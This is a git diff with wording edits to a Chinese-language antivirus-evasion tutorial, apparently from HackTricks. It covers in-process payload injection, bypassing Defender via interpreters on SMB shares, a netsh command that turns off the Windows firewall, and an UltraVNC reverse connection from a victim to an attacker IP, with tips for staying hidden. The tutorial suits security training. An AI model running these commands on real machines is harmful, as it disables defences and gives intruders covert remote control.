|
这涉及将后渗透恶意代码 **注入到其自身进程中**。这样,你可以避免创建新进程并让其被 AV 扫描,但缺点是如果你的有效负载执行出现问题,**失去你的 beacon 的机会更大**,因为它可能崩溃。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -330,7 +330,7 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以 **在被攻陷机器的内存中执行这些语言的任意代码**。
|
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以 **在被攻陷机器的内存中执行这些语言的任意代码**。
|
||||||
|
|
||||||
该仓库指出:Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 **更多灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
|
该仓库指出:Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们有 **更多的灵活性来绕过静态签名**。使用这些语言中的随机未混淆反向 shell 脚本进行测试已证明成功。
|
||||||
|
|
||||||
## 高级规避
|
## 高级规避
|
||||||
|
|
||||||
|
@ -338,11 +338,11 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
你所面对的每个环境都有其自身的优缺点。
|
你所面对的每个环境都有其自身的优缺点。
|
||||||
|
|
||||||
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这次演讲,以了解更多高级规避技术。
|
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以了解更多高级规避技术。
|
||||||
|
|
||||||
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||||
|
|
||||||
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一个精彩演讲。
|
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一场精彩演讲。
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||||
|
|
||||||
|
@ -351,7 +351,7 @@ Adding file: /TotallyLegitApp.exe
|
||||||
### **检查 Defender 发现的恶意部分**
|
### **检查 Defender 发现的恶意部分**
|
||||||
|
|
||||||
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将 **删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给你。\
|
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将 **删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给你。\
|
||||||
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供开放的网络服务。
|
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它提供了一个开放的网络服务,地址为 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Telnet 服务器**
|
### **Telnet 服务器**
|
||||||
|
|
||||||
|
@ -370,7 +370,7 @@ netsh advfirewall set allprofiles state off
|
||||||
```
|
```
|
||||||
### UltraVNC
|
### UltraVNC
|
||||||
|
|
||||||
从这里下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(你需要的是二进制下载,而不是安装程序)
|
从以下地址下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(你需要的是二进制下载,而不是安装程序)
|
||||||
|
|
||||||
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
|
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
|
||||||
|
|
||||||
|
@ -382,17 +382,17 @@ netsh advfirewall set allprofiles state off
|
||||||
|
|
||||||
#### **反向连接**
|
#### **反向连接**
|
||||||
|
|
||||||
**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`,以便 **准备** 捕获反向 **VNC 连接**。然后,在 **受害者** 机器中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
**攻击者**应在其 **主机** 中执行二进制文件 `vncviewer.exe -listen 5900`,以便 **准备** 捕获反向 **VNC 连接**。然后,在 **受害者** 中: 启动 winvnc 守护进程 `winvnc.exe -run` 并运行 `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||||
|
|
||||||
**警告:** 为了保持隐蔽性,你必须避免以下几件事
|
**警告:** 为了保持隐蔽性,你必须避免以下几件事
|
||||||
|
|
||||||
* 如果 `winvnc` 已经在运行,不要再次启动它,否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
|
* 如果 `winvnc` 已经在运行,不要再次启动它,否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
|
||||||
* 如果同一目录中没有 `UltraVNC.ini`,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
* 如果没有 `UltraVNC.ini` 在同一目录中,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
||||||
* 不要运行 `winvnc -h` 获取帮助,否则会触发 [弹出窗口](https://i.imgur.com/oc18wcu.png)
|
* 不要运行 `winvnc -h` 获取帮助,否则会触发 [弹出窗口](https://i.imgur.com/oc18wcu.png)
|
||||||
|
|
||||||
### GreatSCT
|
### GreatSCT
|
||||||
|
|
||||||
从这里下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
从以下地址下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||||
```
|
```
|
||||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||||
cd GreatSCT/setup/
|
cd GreatSCT/setup/
|
||||||
|
@ -565,9 +565,9 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_要求流利的波兰语书写和口语_)。
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -580,8 +580,8 @@ https://github.com/praetorian-code/vulcan
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|